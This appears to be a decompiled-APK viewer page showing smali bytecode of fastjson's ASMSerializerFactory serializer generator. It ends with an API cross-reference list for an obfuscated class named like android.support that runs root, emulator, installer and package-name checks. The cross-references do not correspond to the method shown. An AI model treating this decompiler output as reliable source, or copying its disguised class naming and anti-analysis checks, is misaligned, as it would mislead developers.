                                                421invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                423sget-object v3, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerialContext_desc:Ljava/lang/String;
                                                425invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                427const-string v3, "Ljava/lang/Object;Ljava/lang/Object;I)V"
                                                429invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                431invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                432move-result-object v2
                                                434const-string v3, "setContext"
                                                435const/16 v4, 0xb6
                                                437invoke-interface {v9, v4, v0, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                438cond_24c:
                                                439invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                440move-result v0
                                                441if-nez v0, :cond_2f4
                                                442new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                444invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                445new-instance v2, Lcom/alibaba/fastjson/asm/Label;
                                                447invoke-direct {v2}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                448new-instance v3, Lcom/alibaba/fastjson/asm/Label;
                                                450invoke-direct {v3}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                451const/4 v4, 0x1
                                                453invoke-interface {v9, v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                454const/4 v4, 0x4
                                                456invoke-interface {v9, v1, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                457const/4 v5, 0x2
                                                459invoke-interface {v9, v1, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                461sget-object v14, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                463const-string v5, "isWriteClassName"
                                                465const-string v1, "(Ljava/lang/reflect/Type;Ljava/lang/Object;)Z"
                                                466const/16 v4, 0xb6
                                                468invoke-interface {v9, v4, v14, v5, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                469const/16 v1, 0x99
                                                471invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                472const/4 v1, 0x4
                                                473const/16 v5, 0x19
                                                475invoke-interface {v9, v5, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                476const/4 v1, 0x2
                                                478invoke-interface {v9, v5, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                480const-string v1, "java/lang/Object"
                                                482const-string v14, "getClass"
                                                484const-string v5, "()Ljava/lang/Class;"
                                                486invoke-interface {v9, v4, v1, v14, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                487const/16 v1, 0xa5
                                                489invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                491invoke-interface {v9, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                493invoke-virtual {v11, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                494move-result v1
                                                495const/16 v3, 0x19
                                                497invoke-interface {v9, v3, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                498const/16 v1, 0x7b
                                                499const/16 v5, 0x10
                                                501invoke-interface {v9, v5, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                503sget-object v1, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                505const-string v5, "write"
                                                507const-string v14, "(I)V"
                                                509invoke-interface {v9, v4, v1, v5, v14}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                510const/4 v1, 0x0
                                                512invoke-interface {v9, v3, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                513const/4 v1, 0x1
                                                515invoke-interface {v9, v3, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                516const/4 v1, 0x2
                                                518invoke-interface {v9, v3, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                520sget-object v1, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JavaBeanSerializer:Ljava/lang/String;
                                                521new-instance v3, Ljava/lang/StringBuilder;
                                                523invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                525invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                527sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                529invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                531const-string v4, ";Ljava/lang/Object;)V"
                                                533invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                535invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                536move-result-object v3
                                                538const-string v4, "writeClassName"
                                                539const/16 v5, 0xb6
                                                541invoke-interface {v9, v5, v1, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                542const/16 v1, 0x2c
                                                543const/16 v5, 0x10
                                                545invoke-interface {v9, v5, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                546const/16 v1, 0xa7
                                                548invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                550invoke-interface {v9, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                551const/16 v1, 0x7b
                                                553invoke-interface {v9, v5, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                555invoke-interface {v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                556goto/16 :goto_2fb
                                                557cond_2f4: const/16 v1, 0x7b
                                                558const/16 v5, 0x10
                                                560invoke-interface {v9, v5, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                561goto_2fb: const/16 v0, 0x36
                                                563const-string v1, "seperator"
                                                565invoke-virtual {v11, v1}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                566move-result v1
                                                568invoke-interface {v9, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                570invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                571move-result v0
                                                572if-nez v0, :cond_30f
                                                574invoke-direct {v7, v9, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_before(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                575cond_30f:
                                                576invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                577move-result v0
                                                578if-nez v0, :cond_39f
                                                580invoke-virtual {v11, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                581move-result v0
                                                582const/16 v1, 0x19
                                                584invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                586sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                588const-string v2, "isNotWriteDefaultValue"
                                                590const-string v3, "()Z"
                                                591const/16 v4, 0xb6
                                                593invoke-interface {v9, v4, v0, v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                594const/16 v0, 0x36
                                                596const-string v2, "notWriteDefaultValue"
                                                598invoke-virtual {v11, v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                599move-result v2
                                                601invoke-interface {v9, v0, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                602const/4 v0, 0x1
                                                604invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                605const/4 v0, 0x0
                                                607invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                609sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                610new-instance v1, Ljava/lang/StringBuilder;
                                                612invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                614const-string v2, "("
                                                616invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                618sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeFilterable_desc:Ljava/lang/String;
                                                620invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                622const-string v2, ")Z"
                                                624invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                626invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                627move-result-object v1
                                                629const-string v2, "checkValue"
                                                630const/16 v3, 0xb6
                                                632invoke-interface {v9, v3, v0, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                633const/16 v0, 0x36
                                                635const-string v1, "checkValue"
                                                637invoke-virtual {v11, v1}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                638move-result v1
                                                640invoke-interface {v9, v0, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                641const/4 v0, 0x1
                                                642const/16 v1, 0x19
                                                644invoke-interface {v9, v1, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                645const/4 v2, 0x0
                                                647invoke-interface {v9, v1, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                649sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                650new-instance v3, Ljava/lang/StringBuilder;
                                                652invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                654const-string v4, "("
                                                656invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                658sget-object v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeFilterable_desc:Ljava/lang/String;
                                                660invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                662const-string v4, ")Z"
                                                664invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                666invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                667move-result-object v3
                                                669const-string v4, "hasNameFilters"
                                                670const/16 v6, 0xb6
                                                672invoke-interface {v9, v6, v0, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                673const/16 v0, 0x36
                                                675const-string v3, "hasNameFilters"
                                                677invoke-virtual {v11, v3}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                678move-result v3
                                                680invoke-interface {v9, v0, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                681goto/16 :goto_3a4
                                                682cond_39f: const/16 v1, 0x19
                                                683const/4 v2, 0x0
                                                684const/16 v6, 0xb6
                                                685goto_3a4: const/4 v14, 0x0
                                                686goto_3a5: if-ge v14, v13, :cond_46b
                                                687aget-object v3, v10, v14
                                                689iget-object v0, v3, Lcom/alibaba/fastjson/util/FieldInfo;->fieldClass:Ljava/lang/Class;
                                                691iget-object v2, v3, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                693invoke-interface {v9, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                694const/16 v2, 0x3a
                                                695sget v4, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->fieldName:I
                                                697invoke-interface {v9, v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                699sget-object v2, Ljava/lang/Byte;->TYPE:Ljava/lang/Class;
                                                700if-eq v0, v2, :cond_448
                                                702sget-object v2, Ljava/lang/Short;->TYPE:Ljava/lang/Class;
                                                703if-eq v0, v2, :cond_448
                                                705sget-object v2, Ljava/lang/Integer;->TYPE:Ljava/lang/Class;
                                                706if-ne v0, v2, :cond_3c5
                                                707goto/16 :goto_448
                                                708cond_3c5:
                                                709sget-object v2, Ljava/lang/Long;->TYPE:Ljava/lang/Class;
                                                710if-ne v0, v2, :cond_3d0
                                                712invoke-direct {v7, v8, v9, v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_long(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                713goto_3cc: const/16 v10, 0x10
                                                714goto/16 :goto_45f
                                                715cond_3d0:
                                                716sget-object v2, Ljava/lang/Float;->TYPE:Ljava/lang/Class;
                                                717if-ne v0, v2, :cond_3d8
                                                719invoke-direct {v7, v8, v9, v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_float(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                720goto/16 :goto_3cc
                                                721cond_3d8:
                                                722sget-object v2, Ljava/lang/Double;->TYPE:Ljava/lang/Class;
                                                723if-ne v0, v2, :cond_3e0
                                                725invoke-direct {v7, v8, v9, v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_double(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                726goto/16 :goto_3cc
                                                727cond_3e0:
                                                728sget-object v2, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                                                729if-ne v0, v2, :cond_404
                                                731const-string v0, "boolean"
                                                733invoke-virtual {v11, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                734move-result v16
                                                735const/16 v17, 0x5a
                                                736move-object/from16 v0, p0
                                                737const/16 v4, 0x19
                                                738move-object/from16 v1, p1
                                                739move-object/from16 v2, p2
                                                740move-object/from16 v4, p4
                                                741const/16 v6, 0x10
                                                742const/16 v10, 0xb6
                                                743move/from16 v5, v16
                                                744const/16 v10, 0x10
                                                745move/from16 v6, v17
                                                747invoke-direct/range {v0 .. v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_int(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;IC)V
                                                748goto/16 :goto_45f
                                                749cond_404: const/16 v10, 0x10
                                                751sget-object v1, Ljava/lang/Character;->TYPE:Ljava/lang/Class;
                                                752if-ne v0, v1, :cond_41e
                                                754const-string v0, "char"
                                                756invoke-virtual {v11, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                757move-result v5
                                                758const/16 v6, 0x43
                                                759move-object/from16 v0, p0
                                                760move-object/from16 v1, p1
                                                761move-object/from16 v2, p2
                                                762move-object/from16 v4, p4
                                                764invoke-direct/range {v0 .. v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_int(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;IC)V
                                                765goto/16 :goto_45f
                                                766cond_41e: const-class v1, Ljava/lang/String;
                                                767if-ne v0, v1, :cond_426
                                                769invoke-direct {v7, v8, v9, v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_string(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                770goto/16 :goto_45f
                                                771cond_426: const-class v1, Ljava/math/BigDecimal;
                                                772if-ne v0, v1, :cond_42e
                                                774invoke-direct {v7, v8, v9, v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_decimal(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                775goto/16 :goto_45f
                                                776cond_42e: const-class v1, Ljava/util/List;
                                                778invoke-virtual {v1, v0}, Ljava/lang/Class;->isAssignableFrom(Ljava/lang/Class;)Z
                                                779move-result v1
                                                780if-eqz v1, :cond_43a
                                                782invoke-direct {v7, v8, v9, v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_list(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                783goto/16 :goto_45f
                                                784cond_43a:
                                                785invoke-virtual {v0}, Ljava/lang/Class;->isEnum()Z
                                                786move-result v0
                                                787if-eqz v0, :cond_444
                                                789invoke-direct {v7, v8, v9, v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_enum(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                790goto/16 :goto_45f
                                                791cond_444:
                                                792invoke-direct {v7, v8, v9, v3, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_object(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                793goto/16 :goto_45f
                                                794goto_448: const/16 v10, 0x10
                                                796invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                                797move-result-object v0
                                                799invoke-virtual {v11, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                800move-result v5
                                                801const/16 v6, 0x49
                                                802move-object/from16 v0, p0
                                                803move-object/from16 v1, p1
                                                804move-object/from16 v2, p2
                                                805move-object/from16 v4, p4
                                                807invoke-direct/range {v0 .. v6}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_int(Ljava/lang/Class;Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/util/FieldInfo;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;IC)V
                                                808goto_45f: add-int/lit8 v14, v14, 0x1
                                                809move-object/from16 v10, p3
                                                810const/16 v1, 0x19
                                                811const/16 v5, 0x10
                                                812const/16 v6, 0xb6
                                                813goto/16 :goto_3a5
                                                814cond_46b: const/16 v10, 0x10
                                                816invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$000(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                817move-result v0
                                                818if-nez v0, :cond_476
                                                820invoke-direct {v7, v9, v11}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->_after(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)V
                                                821cond_476: new-instance v0, Lcom/alibaba/fastjson/asm/Label;
                                                823invoke-direct {v0}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                824new-instance v1, Lcom/alibaba/fastjson/asm/Label;
                                                826invoke-direct {v1}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                828const-string v2, "seperator"
                                                830invoke-virtual {v11, v2}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                831move-result v2
                                                832const/16 v3, 0x15
                                                834invoke-interface {v9, v3, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                835const/16 v2, 0x7b
                                                837invoke-interface {v9, v10, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitIntInsn(II)V
                                                838const/16 v3, 0xa0
                                                840invoke-interface {v9, v3, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                842invoke-virtual {v11, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                843move-result v3
                                                844const/16 v4, 0x19
                                                846invoke-interface {v9, v4, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                848invoke-interface {v9, v10, v2}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                850sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                852const-string v3, "write"
                                                854const-string v5, "(I)V"
                                                855const/16 v6, 0xb6
                                                857invoke-interface {v9, v6, v2, v3, v5}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                859invoke-interface {v9, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                861invoke-virtual {v11, v15}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                862move-result v0
                                                864invoke-interface {v9, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                865const/16 v0, 0x7d
                                                867invoke-interface {v9, v10, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                869sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerializeWriter:Ljava/lang/String;
                                                871const-string v2, "write"
                                                873const-string v3, "(I)V"
                                                875invoke-interface {v9, v6, v0, v2, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                877invoke-interface {v9, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                879invoke-interface {v9, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                881invoke-static/range {p4 .. p4}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->access$200(Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;)Z
                                                882move-result v0
                                                883if-nez v0, :cond_4fe
                                                884const/4 v0, 0x1
                                                886invoke-interface {v9, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                888const-string v0, "parent"
                                                890invoke-virtual {v11, v0}, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory$Context;->var(Ljava/lang/String;)I
                                                891move-result v0
                                                893invoke-interface {v9, v4, v0}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                895sget-object v0, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->JSONSerializer:Ljava/lang/String;
                                                896new-instance v1, Ljava/lang/StringBuilder;
                                                898invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                900const-string v2, "("
                                                902invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                904sget-object v2, Lcom/alibaba/fastjson/serializer/ASMSerializerFactory;->SerialContext_desc:Ljava/lang/String;
                                                906invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                908const-string v2, ")V"
                                                910invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                912invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                913move-result-object v1
                                                915const-string v2, "setContext"
                                                916const/16 v3, 0xb6
                                                918invoke-interface {v9, v3, v0, v2, v1}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                919cond_4fe: return-void
                                                Cross References
                                                APIs
                                                • android.support.coreui.app._.context:Landroid/content/Context
                                                • android.content.Context.getPackageManager
                                                • android.support.coreui.app._.context:Landroid/content/Context
                                                • android.content.Context.getPackageName
                                                • android.content.pm.PackageManager.getPackageInfo
                                                • android.support.coreui.app._.data:Ljava/lang/String
                                                • android.support.coreui.app._.a
                                                • org.json.JSONObject.<init>
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.context:Landroid/content/Context
                                                • android.support.coreui.app.__.<init>
                                                • java.lang.Thread.setDefaultUncaughtExceptionHandler
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.context:Landroid/content/Context
                                                • android.content.Context.getPackageManager
                                                • android.support.coreui.app._.context:Landroid/content/Context
                                                • android.content.Context.getApplicationInfo
                                                • android.content.pm.PackageManager.getApplicationLabel
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getString
                                                • java.lang.String.equals
                                                • android.support.coreui.app._.context:Landroid/content/Context
                                                • android.content.Context.getPackageName
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getString
                                                • java.lang.String.equals
                                                • android.support.coreui.app._.dxTitle:Ljava/lang/String
                                                • android.support.coreui.app._.showDialogWarn
                                                • android.support.coreui.app._.pInfo:Landroid/content/pm/PackageInfo
                                                • android.content.pm.PackageInfo.versionName:Ljava/lang/String
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getString
                                                • java.lang.String.equals
                                                • android.support.coreui.app._.pInfo:Landroid/content/pm/PackageInfo
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getInt
                                                • android.support.coreui.app._.dxTitle:Ljava/lang/String
                                                • android.support.coreui.app._.showDialogWarn
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getString
                                                • android.support.coreui.app._.x
                                                • java.lang.String.equals
                                                • android.support.coreui.app._.dxTitle:Ljava/lang/String
                                                • android.support.coreui.app._.showDialogWarn
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.isRooted
                                                • android.support.coreui.app._.dxTitle:Ljava/lang/String
                                                • android.support.coreui.app._.showDialogWarn
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.verifyInstaller
                                                • android.support.coreui.app._.dxTitle:Ljava/lang/String
                                                • android.support.coreui.app._.showDialogWarn
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.isEmulator
                                                • android.support.coreui.app._.dxTitle:Ljava/lang/String
